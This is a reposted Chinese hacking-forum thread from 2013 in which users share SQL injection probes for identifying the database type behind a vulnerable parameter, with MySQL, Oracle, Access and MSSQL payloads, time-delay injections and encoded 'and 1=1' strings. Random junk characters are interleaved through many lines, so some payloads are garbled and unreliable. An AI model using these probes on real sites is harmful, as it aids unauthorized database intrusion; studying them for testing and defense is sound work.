找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2065|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库- g8 L. K' ]; I) ?( B; h$ `# f" l% e
xsser (十根阳具有长短!!) | 2013-02-05 12:36: F' m8 R! [7 d" Q7 P
假设这么一个注射点:
2 X! Z$ h9 V8 k  R5 Kshow.html?id=2
5 {2 H) [! V# a: `* _$ Dmysql:id=2 and version()>0
5 B3 ]" Y7 m( U/ t- Woracle:id=2 and '1'||'1'='11
/ m- ?3 v5 J; O# b其他的欢迎补充
0 F7 |8 \, h: K  m1#/ K; t" x- r! N' G% ^' }; q3 ]$ g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:473 f. R: W% X- T' `3 G, f
Access:$ H% k8 P% X) n* H! ?2 y! i! c$ P
aNd aSc(cHr(97))=97- X4 J9 N7 q0 [; T; Z* I1 G! i
and exists(select id from MSysAccessObjects); B$ c1 E% |( {2 t) T2 P
SQL Server:
2 X" k! K8 y$ K- [: Pand exists(select id from sysobjects)
$ r9 c. x# ^) E2 M$ P1 d( t) Cand length(user)>0! o/ P* K) |  V
MySQL:
/ E  \" K1 N* @& [8 k( s1 }and length(user())>06 e# ]& T% O* I* I" ]4 I
2#
) F0 f2 y8 w3 m& |# `9 Qxsser (十根阳具有长短!!) | 2013-02-05 12:48* t4 G4 u. X0 K6 [9 E5 N  q+ g8 j
@upload 如果这些都不是呢…  C  Z8 Q! `; V( v! W4 x
3#' T: Q! i4 R7 S$ i7 R' U% K
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03% E3 X) N/ A7 p
@xsser 不快速的,延时注入% f, V$ c6 }; @/ I, q
不知道这样写对不对
6 D9 p! X# w& G. jmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'& k' q6 O& m( o( ?  M
mysql:id=2 and select benchmark(1e8,current_date());
4 d9 r1 G% x: U6 s4#8 Z$ {7 H" X) C. e" V0 ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
: ^/ t3 Y, b% W最快的貌似是看报错信息6 k7 ]$ B) y" E, X# u, }
oracle error
) c, [* c* p, U+ v0 P, G9 Qmssql error
# s( @/ a- Y; k( M! Z& p7 A; Qmysql error
+ m9 @, |$ N& H5 I2 |/ k, E5#
" O# q, E5 {) hNimda (你们都是坏银~) | 2013-02-05 13:14
; ]$ _! z7 {' v8 J& p2 p  h* V小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
9 @( X: m: W" x1 e6 z% S+ s6 q: z6#
- |7 r3 N0 i% j( M8 x4 K, O* Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21# }4 g0 Y6 S- _0 N* H
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( k" I7 K0 P$ K" g3 X
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
, G* v# M- Z) _; C“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
- }+ ~3 T4 @$ v4 {5 G" f$ }, A7#
" f. l7 {1 R1 A( I_Evil (HackEnd) | 2013-02-05 13:33
1 ]6 D  Q2 P/ ?" VPostgreSQL* n+ V( K: ~6 a" |  Y& p3 ]8 J
8#$ a% x3 T1 B* y: q1 h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
% N0 t* F4 k# f; k# S" E0 P( y切换编码 and 1=1
: X% M# b- t0 C) _4 M7 @oracle:
# k: M7 V$ h  O5 K- @CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
- D+ I0 s3 ]2 @$ Omssql:
% j+ k' ], a  U6 N. Y1 wCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49); c7 q" h( y/ Q/ J
mysql:
; M7 x- l" d$ k0 s( qCHAR(97, 110, 100, 32, 49, 61, 49)
( _! k1 h' `, b$ T9#  {7 d6 W! |  P$ k8 p- a
xsser (十根阳具有长短!!) | 2013-02-05 14:31
8 I: i' x! U! m$ l0 I@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?2 {/ e+ i/ K! L+ Q* N
10#7 y+ O3 d; ~! C/ h
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:464 D7 E8 j; w0 e6 ^
@xsser 是奇葩数据库类型的么?
6 N* _) u, D% D( y根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
7 ?: j! X1 F. ]: k& q4 o1.是否可以使用特定的函数来判断,该数据库特有的
, t5 U: J) T+ E' Q2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
6 X8 w6 O5 l1 n) t/ E3.是否可以编码查询
$ @) b- @( D4 ^/ ?- _4.是否显可以利用错信息9 Y: l% _' A# S% P: h  V% f
5.是否存在数据库某些特性辅助判断& h. g8 ~; ?+ b! o, N
个人见解& v4 @& Y) k& G" u( b0 n; G
11#
, e: {2 t" |! o- m. ^1 g6 L. M小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55" |8 X& P* ^$ i: d5 J
已收藏,mssql可以直接看到错误提示的吧~
$ l/ O1 _. e4 e; n$ ?, X12#4 r- A( l% l3 R( a# C8 G
Passer_by | 2013-02-05 15:09
- J# c0 [* Q3 ?) {曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
' O3 n- z2 T7 e6 c8 r: Sfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表